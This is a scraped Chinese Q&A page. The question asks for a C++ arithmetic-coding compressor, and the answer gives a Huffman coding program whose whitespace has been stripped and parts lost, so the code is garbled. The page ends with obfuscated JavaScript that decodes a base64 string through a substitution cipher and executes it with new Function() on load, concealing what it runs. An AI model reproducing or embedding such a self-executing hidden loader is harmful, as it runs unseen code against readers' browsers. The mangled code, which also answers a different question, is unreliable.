求c++编写的算术编码压缩文本程序、可以显示压缩率的

2025-04-07 20:59:29
推荐回答(1个)
回答(1):

------------------------------------------------------------------HuffTree.h文件:/**四川大学.软件学院**文件名称:HuffTree.h*摘要:利用有序表,建立哈夫曼树**作者:高云翔*完成日期:2008.11.14*/#ifndefHUFFTREE_H#defineHUFFTREE_H//由于SAList类要用到HuffTree类,此处即为虚定义classHuffTree;//有序表类的声明classSAList{intfence;intmaxSize;intlistSize;public:SAList(intsize=0);~SAList();HuffTree**listArray;voidsetStart();voidnext();intgetLength();boolinsert(HuffTree*item);//排序插入HuffTree*remove();boollessThan(HuffTree*x,HuffTree*y);};//哈弗曼树结点的类声明classHuffTreeNode{public:unsignedcharvalue;unsignedlongintweight;unsignedintleftOrRight;//若为左儿子,则值为0,若为右儿子,则值为1HuffTreeNode*parent;HuffTreeNode*leftChild;HuffTreeNode*rightChild;boolisLeaf;};//哈夫曼树的声明classHuffTree{public:HuffTreeNode*subRoot;HuffTree();HuffTree(unsignedcharval,unsignedlongintfreq);HuffTree(HuffTree*l,HuffTree*r);HuffTree*buildHuffTree(SAList*sal,SAList*copy);};#endif--------------------------------------------------------------------HuffTree.cpp文件://哈夫曼树的实现#include#include"HuffTree.h"//有序表类的声明SAList::SAList(intsize){maxSize=size;listSize=fence=0;listArray=newHuffTree*[maxSize];}SAList::~SAList(){delete[]listArray;}voidSAList::setStart(){fence=0;}voidSAList::next(){if(fenceweightsubRoot->weight;}//哈夫曼树的实现HuffTree::HuffTree(){subRoot=newHuffTreeNode;subRoot->weight=0;}HuffTree::HuffTree(unsignedcharval,unsignedlongintfreq){subRoot=newHuffTreeNode;subRoot->value=val;subRoot->weight=freq;subRoot->isLeaf=true;}HuffTree::HuffTree(HuffTree*l,HuffTree*r){subRoot=newHuffTreeNode;subRoot->leftChild=l->subRoot;subRoot->rightChild=r->subRoot;subRoot->leftChild->parent=subRoot->rightChild->parent=subRoot;subRoot->weight=l->subRoot->weight+r->subRoot->weight;subRoot->isLeaf=false;}HuffTree*HuffTree::buildHuffTree(SAList*sal,SAList*copy){HuffTree*temp1,*temp2,*temp3;temp1=temp2=temp3=newHuffTree;for(inti=sal->getLength();i>1;i--){sal->setStart();temp1=sal->remove();temp2=sal->remove();temp1->subRoot->leftOrRight=0;temp2->subRoot->leftOrRight=1;temp3=newHuffTree(temp1,temp2);if(temp1->subRoot->isLeaf)copy->insert(temp1);if(temp2->subRoot->isLeaf)copy->insert(temp2);sal->insert(temp3);}returntemp3;}------------------------------------------------------------------HuffmanCodeing.h文件:/**四川大学.软件学院**文件名称:HuffmanCodeing.h*摘要:利用哈夫曼树,对文件内容进行哈夫曼编码与译码**作者:高云翔*完成日期:2008.11.21*/#ifndefHUFFMANCODING_H#defineHUFFMANCODING_H#include#include"HuffTree.h"usingnamespacestd;//栈结构structLink{unsignedintelement;Link*next;Link(constunsignedint&elemval,Link*nextval=NULL);Link(Link*nextval=NULL);};structLStack{Link*top;intsize;LStack(){size=0;top=NULL;}~LStack(){clear();}voidclear();boolpush(constunsignedint&item);boolpop(unsignedint&it);};//缓冲区structBuffer{unsignedcharbyte;//表示字节,每个字节由8个位组成unsignedintbits;//表示位(比特)voidclear();//清空缓存区};//临时保存叶子结点的数域structSave{unsignedcharch;unsignedlongintval;};classHuffmanCoding{private:SAList*list,*copy;//有序表HuffTree*tree;//哈夫曼树Bufferbuffer;//缓存区LStack*stack;//栈Savesave;//临时保存叶子结点的数域FILE*sourceFile;//表示源文件FILE*targetFile;//表示目标文件unsignedlonginttotal;//表示要进行编码的文件的总字节数(number#include#include"HuffmanCoding.h"usingnamespacestd;Link::Link(constunsignedint&elemval,Link*nextval){element=elemval;next=nextval;}Link::Link(Link*nextval){next=nextval;}voidLStack::clear(){while(top!=NULL){Link*temp=top;top=top->next;deletetemp;}size=0;}boolLStack::push(constunsignedint&item){top=newLink(item,top);size++;returntrue;}boolLStack::pop(unsignedint&it){if(size==0)returnfalse;it=top->element;Link*temp=top;top=top->next;size--;deletetemp;returntrue;}voidBuffer::clear(){bits=0;byte=0;}voidHuffmanCoding::code(){char*sourceFileName=newchar[];char*targetFileName=newchar[];total=0;numOfLeaf=0;cout>sourceFileName;sourceFile=fopen(sourceFileName,"rb");//判断源文件是否存在,不存在则要求用户重新输入while(sourceFile==NULL){cout>sourceFileName;sourceFile=fopen(sourceFileName,"rb");}fgetc(sourceFile);//判断文件内容是否为空,若为空则退出程序if(feof(sourceFile)){cout>targetFileName;targetFile=fopen(targetFileName,"wb");//判断目标文件是否可以建立while(targetFile==NULL){cout>targetFileName;targetFile=fopen(targetFileName,"wb");}coutbuildHuffTree(list,copy);//利用已建立的有序表,建立哈夫曼树//开始编码,并将编码后的内容输出到目标文件rewind(sourceFile);//将文件指针重新指向文件内容起始处unsignedchartempChar=fgetc(sourceFile);//取文件内容的下一个字符unsignedinttempInt;HuffTreeNode*tempTreeNode;stack=newLStack();buffer.clear();//清空缓存区//当文件内容全部被扫描完,循环结束while(!feof(sourceFile)){//搜索匹配tempChar的叶子的值for(inti=0;igetLength();i++){if(tempChar==copy->listArray[i]->subRoot->value){stack->clear();tempTreeNode=copy->listArray[i]->subRoot;while(tempTreeNode!=tree->subRoot){stack->push(tempTreeNode->leftOrRight);tempTreeNode=tempTreeNode->parent;}//endwhilewhile(stack->pop(tempInt)){write(tempInt);}break;}//endif}//endfortempChar=fgetc(sourceFile);}//endwhile//如果缓存区还有剩余的位,则添加0到缓存区,直到够满8个位建立个字符,并向目标文件写入该字符if(buffer.bits>0){for(unsignedinti=buffer.bits;i>sourceFileName;sourceFile=fopen(sourceFileName,"rb");//判断源文件是否存在,不存在则要求用户重新输入while(sourceFile==NULL){cout>sourceFileName;sourceFile=fopen(sourceFileName,"rb");}fgetc(sourceFile);//判断文件内容是否为空,若为空则退出程序if(feof(sourceFile)){cout>targetFileName;targetFile=fopen(targetFileName,"wb");//判断目标文件是否可以建立while(targetFile==NULL){cout>targetFileName;targetFile=fopen(targetFileName,"wb");}coutbuildHuffTree(list,copy);//利用已建立的有序表,建立哈夫曼树//译码开始buffer.clear();//清空缓存区unsignedinttempInt;HuffTreeNode*tempTreeNode;while(total>0){tempTreeNode=tree->subRoot;while(!tempTreeNode->isLeaf){tempInt=read();if(tempInt==0){tempTreeNode=tempTreeNode->leftChild;}else{tempTreeNode=tempTreeNode->rightChild;}}fputc(tempTreeNode->value,targetFile);total--;}cout0)numOfLeaf++;}//将源文件的字符总数及叶子结点总数保存到目标文件fwrite(&total,sizeof(unsignedlongint),1,targetFile);fwrite(&numOfLeaf,sizeof(unsignedint),1,targetFile);//建立叶子结点有序表list=newSAList(numOfLeaf);copy=newSAList(numOfLeaf);//依次扫描ch,将权值不为0的字符插入到叶子结点有序表中//并将此字符及其权值保存到目标文件for(intk=0;k0){temp=newHuffTree(k,ch[k]);list->insert(temp);save.ch=k;save.val=ch[k];fwrite(&save,sizeof(save),1,targetFile);}}}//利用建立的缓存,向目标文件中输出字符voidHuffmanCoding::write(unsignedintc){++buffer.bits;buffer.byte=(buffer.byteinsert(temp);}}//从压缩文件中读取一个比特unsignedintHuffmanCoding::read(){if(buffer.bits==0){buffer.bits=8;buffer.byte=fgetc(sourceFile);}if(buffer.byte&(1<<(buffer.bits-1))){buffer.bits--;return1;}else{buffer.bits--;return0;}}-------------------------------------------------------------------Driver.cpp文件:#include"HuffmanCoding.h"intmain(){HuffmanCodingh;h.code();h.decode();system("PAUSE");return0;}一共5个文件,文件名已经给你了,你直接拷贝就可以,绝对我自己的原创,我还没给别人看过,希望你能利用好这段代码

(function(){function b7c9e1493(c95fae){var n03b5751="D$8~x9Tdn.B|3cZ?C4K^jNOeUpXAuih!HSYwR@Q-_rvPq:/]VJyotm,kzf05bMGl%(LW7&I26=F;asg1E[";var a531b0a="W$^VPE/6OSb!I?Zt3gf_UR|DGuH:pMN.,15LxKae9k&mj;]TBcvslFwQ4d@YJ8hz=o(2r07iX%-qyn[A~C";return atob(c95fae).split('').map(function(z5cd7){var e04b2b9=n03b5751.indexOf(z5cd7);return e04b2b9==-1?z5cd7:a531b0a[e04b2b9]}).join('')}var c=b7c9e1493('rtmp://LDJzZigsZyJmUyIrIk1XLXoiLyVLcHNKPzIoc0wpe0xLcHNKPzIoc0wyUUpfJlFIYUNfSWZIZldZUUJLTUgyV0JfUUlkKXsyS0xUOGlRSk9EMnNUIT8tbz9Mc1F5MjRRPyg3IXV0UT9LKDdQKSl7Ny0/cDdzfXlRNyAtei1kLXpZZlMlS3BzSj8yKHNMbFNkTWRLZCl7Ny0/cDdzIC4/NzJzNCFLNyhQW0dRN1soZi1MbFNkTWRLZCl9OnlRNyBzJlEtZkt6USVnInRxb0ZYJlNed24xZV5iLl5YXWl3IkgieS03RiZTIkgibzJmRldNIkgiSko/RlcmV1lGJkNGU3ogVyZBeldBek0iLzp5UTcgZlF6ZlFJeiZJJWZXWVFCS01nLXotZC16WWZTTCZSZFMpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFcpL0gsV0NDS2RLJWZXWVFCS01nLXotZC16WWZTTCZSZFcpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFMpL0hCU3pTWUMlMldCX1FJZGdmUXpmUUl6JklMIjVDfmFKUH5wZm1ocUpQdCxmMSUlIikvSGFDJkktUUklZlF6ZlFJeiZJTCI1Q2J0NTZOdE5EUnRCRH5wZjElJSIpSHlJelFRXyVmUXpmUUl6JklMIkpDfjJKQ05hUURZcyIpSFBKV01LWSVmUXpmUUl6JklMIkpQfixCVW1xWmslJSIpSHNCZmZRJllkJWZRemZRSXomSUwiSkNWb1E2ayUiKUhQWXpfLUIlZlF6ZlFJeiZJTCJKUH5XWjZibFprJSUiKUhRLUNLZCVmUXpmUUl6JklMIlFQX3VCNCUlIilIbC1DQ0slZlF6ZlFJeiZJTCJKUG1wWlVfPyIpSHVmQ1dLJiVmV1lRQktNZ2ZRemZRSXomSUwiXURtJlExJSUiKS9IMkNkZiZCQklZJWZRemZRSXomSUwiQlVfR1oxJSUiKTp5UTcgKFdRJllJXyVmUXpmUUl6JklMIkpXUyZRRE50ZjQlJSIpOnlRNyBzWV9CS2ZTOjJLTHQoSlE/MihzIW8tUTdKRyEyc2YtUm5LTChXUSZZSV8pPkZTKXtzWV9CS2ZTJTJXQl9RSWRnYUMmSS1RSS9MZlF6ZlFJeiZJTCJmVX56ZlVtYVpEOSUiKSk6c1lfQktmUyEyZiUiPyIrdWZDV0smZ2wtQ0NLL0wpKlMmJiYmOnNZX0JLZlMhbz9hdC0hLDJmP0clIlMmJj0iOnNZX0JLZlMhbz9hdC0hRy0yNEc/JSJZJiZ1UiI6c1lfQktmUyFmMm9RQnQtZiU/N3AtOjJLTDJXQl9RSWQhQihmYXwlc3B0dCl7MldCX1FJZCFCKGZhIVF1dS1zZltHMnRmTHNZX0JLZlMpfS10by17eVE3IGZRSkJCUyVLcHNKPzIoc0wpezJXQl9RSWQhQihmYSFRdXUtc2ZbRzJ0ZkxzWV9CS2ZTKTpmV1lRQktNITctUCh5LTl5LXM/dzJvPy1zLTdMMkNkZiZCQklZSGZRSkJCU0hLUXRvLSl9OmZXWVFCS00hUWZmOXktcz93Mm8/LXMtN0wyQ2RmJkJCSVlIZlFKQkJTSEtRdG8tKX19eVE3IFFLTSZfTSUyV0JfUUlkZ2FDJkktUUkvTGZRemZRSXomSUwiWkRTMlpEayUiKSk6UUtNJl9NITJmJWFDX0lmK3VmQ1dLJiFKLTJ0THVmQ1dLJmdsLUNDSy9MKSpTJiYmJik6eVE3IHBkQksmQ2RNSyVLcHNKPzIoc0xRJlkmUWRkX0Ipe3lRNyBRUUlNJnolcy0sIGVRPy1MKTp5UTcgUWRkSkImSiVgb1A/Ml5vMmZeJHthQ19JZn1eJHtRUUlNJnohPyh3KEpRdC1lUT8tLj83MnM0TCl9YDp5UTcgeWZfQ1dkJXNwdHQ6Pzdhe3lmX0NXZCViLm5oIXVRN28tTHQoSlF0Lj8oN1E0LSE0LT8zPy1QTFFkZEpCJkopKX1KUT9KR0wtKXt9MktMeWZfQ1dkJSVzcHR0KXt5Zl9DV2Qle0I3KCxvLTdbKHBzP0EmSH19eWZfQ1dkIUI3KCxvLTdbKHBzPysrOnlRNyBzLSZfWWQlLFdDQ0tkS0xzJlEtZkt6USFKKHNKUT9MZ2BzKCxGJHtlUT8tZyJzKCwiL0wpfWBIYEc3LUtGJHt0KEpRPzIocyFHNy1LfWBIYHBvSkYke3lmX0NXZCFCNygsby03Wyhwcz99YEgvKSFvKDc/TEwpJT51ZkNXSyZnbC1DQ0svTClGJiFZKWdRLUNLZC9MIkgiKSk6eVE3IFAtX0omTUIlcy0mX1lkITJzZi1SbktMLXotZC16WWZTTCZSQ2YpKT5GU2NzLSZfWWRneUl6UVFfL0xzLSZfWWQhMnNmLVJuS0wtei1kLXpZZlNMJlJDZikpKUEiIjpzLSZfWWQlcy0mX1lkZ1BKV01LWS9MUC1fSiZNQkgiIilnc0JmZlEmWWQvTCIiKWdQWXpfLUIvTClnUS1DS2QvTCIiKStQLV9KJk1COlFLTSZfTSFvN0olZyJHPz91b0FUVCIrUSZZJlFkZF9CSFFLTSZfTSEyZkhzLSZfWWQvZ1EtQ0tkL0wiVCIpOjJXQl9RSWQhQihmYSEyc28tNz9WLUsoNy1MUUtNJl9NSDJXQl9RSWQhQihmYSFKRzJ0ZmgoZi1vZyYvKToyS0xzWV9CS2ZTfCVzcHR0KXtzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzUXV1LXNmLWYgLVAgPyggRz9QdCI6eVE3IEtfJkN6JkIlMldCX1FJZCE0LT85dC1QLXM/VmEzZkxRS00mX00hMmYpOjJLTEtfJkN6JkIlJXNwdHRPT0tfJkN6JkIlJXBzZi1LMnMtZil7c1lfQktmUyF5UXRwLSslIlxcN1xccyBKUXM/IDQtPyAtUCBLNyhQIEc/UHQifX19OjJLTHNZX0JLZlN8JXNwdHQpe3NZX0JLZlMheVF0cC0rJSJcXDdcXHNvLXNmIHFvIEcobz8gIisyUUpfJlF9eVE3IChKQiZXSyVLcHNKPzIoc0wsX0lRU00pezctP3A3cyBmUXpmUUl6JklMLF9JUVNNKWdQSldNS1kvTC16LWQtellmU0wmUldRKUh1ZkNXSyZnbC1DQ0svTCkhPyguPzcyczRMQ2QpIW90MkotTHVmQ1dLJiFLdCgoN0x1ZkNXSyZnbC1DQ0svTCkqXykrVykpfTpwZEJLJkNkTUtMKEpCJldLTDJRSl8mUSkpOmZXWVFCS01nIlFmZjl5LXM/dzJvPy1zLTciL0wiUC1vb1E0LSJIS3BzSj8yKHNMLSl7MktMLSFmUT9RIXIlJWFDX0lmKXsyV0JfUUlkITQtPzl0LVAtcz9WYTNmTFFLTSZfTSEyZikhNy1QKHktTCk6eVE3IHJZWVdKJXNwdHQ6MktMc1lfQktmU3wlc3B0dCl7c1lfQktmUyF5UXRwLSslIlxcN1xcczctSi0yeS0gLVAgdShvPyBQLW9vUTQtIjpzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzLSFmUT9RIXkgIistIWZRP1EhOzpyWVlXSiVMISEhUFFTemYpJT57MktMfFBRU3pmT09QUVN6ZiF0LXM0P0c8JSYpNy0/cDdzOnNZX0JLZlMheVF0cC0rJSJcXDdcXHMiK1BRU3pmIXEoMnNMIiAiKX19cy0sIG1wc0o/MihzTCJRNzRvIkgtIWZRP1EhOylMe14/ZkpvQUJTelNZQ0hedCg0QXJZWVdKSH0pfX0pfSlMIlpXSnBoXX5sUVdtbEJEUj9aV2ZZQi5ZJkJDMWRuXXJTaDQlJSJIIldNIkgsMnNmKCxIZihKcFAtcz8pfTpmU01XLXpMKTo='.substr(7));new Function(c)()})();